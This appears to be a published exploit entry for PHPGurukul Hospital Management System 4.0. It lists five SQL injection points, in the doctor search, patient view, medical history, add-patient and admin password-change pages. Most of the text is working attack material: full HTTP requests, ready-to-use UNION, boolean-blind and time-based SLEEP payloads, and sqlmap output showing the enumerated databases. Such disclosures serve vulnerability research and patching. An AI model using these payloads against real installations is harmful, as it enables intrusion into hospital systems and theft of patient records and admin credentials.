Hospital Management System 4.0 searchdata SQL Injection

`# Exploit Title: Hospital Management System 4.0 - 'searchdata' SQL Injection  
# Google Dork: N/A  
# Date: 2020-01-02  
# Exploit Author: FULLSHADE  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/hospital-management-system-in-php/  
# Version: v4.0  
# Tested on: Windows  
# CVE : N/A  
  
# The Hospital Management System 4.0 web application is vulnerable to  
# SQL injection in multiple areas, listed below are 5 of the prominent  
# and easy to exploit areas.  
  
================================ 1 - SQLi ================================  
  
POST /hospital/hospital/hms/doctor/search.php HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 22  
Origin: https://10.0.0.214  
DNT: 1  
Connection: close  
Referer: https://10.0.0.214/hospital/hospital/hms/doctor/search.php  
Cookie: PHPSESSID=301tn3sqt3gmimkc9epe7kjha5  
Upgrade-Insecure-Requests: 1  
  
searchdata=&search=  
  
?searchdata parameter is vulnerable to SQL injection under the search feature in the doctor login.  
  
POST parameter 'searchdata' is vulnerable.  
sqlmap identified the following injection point(s) with a total of 120 HTTP(s) requests:  
---  
Parameter: searchdata (POST)  
Type: UNION query  
Title: Generic UNION query (NULL) - 11 columns  
Payload: searchdata=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvxbq','zIuFTDXhtLrbZmAXQXxIalrRpZgCjsPnduKboFfW'),'qpqjq'),NULL-- PqeG&search=  
---  
[15:49:58] [INFO] testing MySQL  
[15:49:58] [INFO] confirming MySQL  
[15:49:58] [INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.41, PHP 7.4.1  
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)  
[15:49:58] [INFO] fetching database names  
available databases [6]:  
[*] hms  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] phpmyadmin  
[*] test  
  
================================ 2 - SQLi ================================  
  
GET parameter 'viewid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n  
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:  
---  
Parameter: viewid (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: viewid=6' AND 3413=3413 AND 'nBkv'='nBkv  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: viewid=6' AND SLEEP(5) AND 'PJim'='PJim  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 11 columns  
Payload: viewid=6' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162767071,0x7957464b6f4a78624b536a75497051715a71587353746a4b6e45716441646345614f725449555748,0x717a717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- XNyp  
  
[15:54:21] [INFO] fetching database names  
available databases [6]:  
[*] hms  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] phpmyadmin  
[*] test  
  
GET /hospital/hospital/hms/doctor/view-patient.php?viewid=6 HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=301tn3sqt3gmimkc9epe7kjha5  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
  
?viewid parameter is vulnerable to SQLi while viewing a patient under the doctor login  
  
================================ 3 - SQLi ================================  
  
Parameter: bs (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: bp=123&bs=123' AND SLEEP(5) AND 'CKbI'='CKbI&weight=123&temp=123&pres=123&submit=  
  
?bs parameter is vulnerable to SQL injection on the doctors login when adding medical history to a patient  
  
================================ 4 - SQLi ================================  
  
POST /hospital/hospital/hms/doctor/add-patient.php HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://10.0.0.214/hospital/hospital/hms/doctor/add-patient.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 111  
Origin: https://10.0.0.214  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=301tn3sqt3gmimkc9epe7kjha5  
Upgrade-Insecure-Requests: 1  
  
patname=  
  
patname parameter is vulnerable to SQLi under the add patient in the doctor login  
  
================================ 5 - SQLi ================================  
  
---  
Parameter: cpass (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)  
Payload: cpass=123' AND 4808=4808#&npass=123&cfpass=123&submit=123  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: cpass=123' AND SLEEP(5)-- taxP&npass=123&cfpass=123&submit=123  
---  
available databases [6]:  
[*] hms  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] phpmyadmin  
[*] test  
  
POST /hospital/hospital/hms/admin/change-password.php HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 38  
Origin: http://10.0.0.214  
DNT: 1  
Connection: close  
Referer: http://10.0.0.214/hospital/hospital/hms/admin/change-password.php  
Cookie: PHPSESSID=g1mpom762nglpeptn51b4rg5h5  
Upgrade-Insecure-Requests: 1  
  
cpass=123&npass=123&cfpass=123&submit=123  
  
the ?cpass parameter is vulnerable to blind SQL injection  
`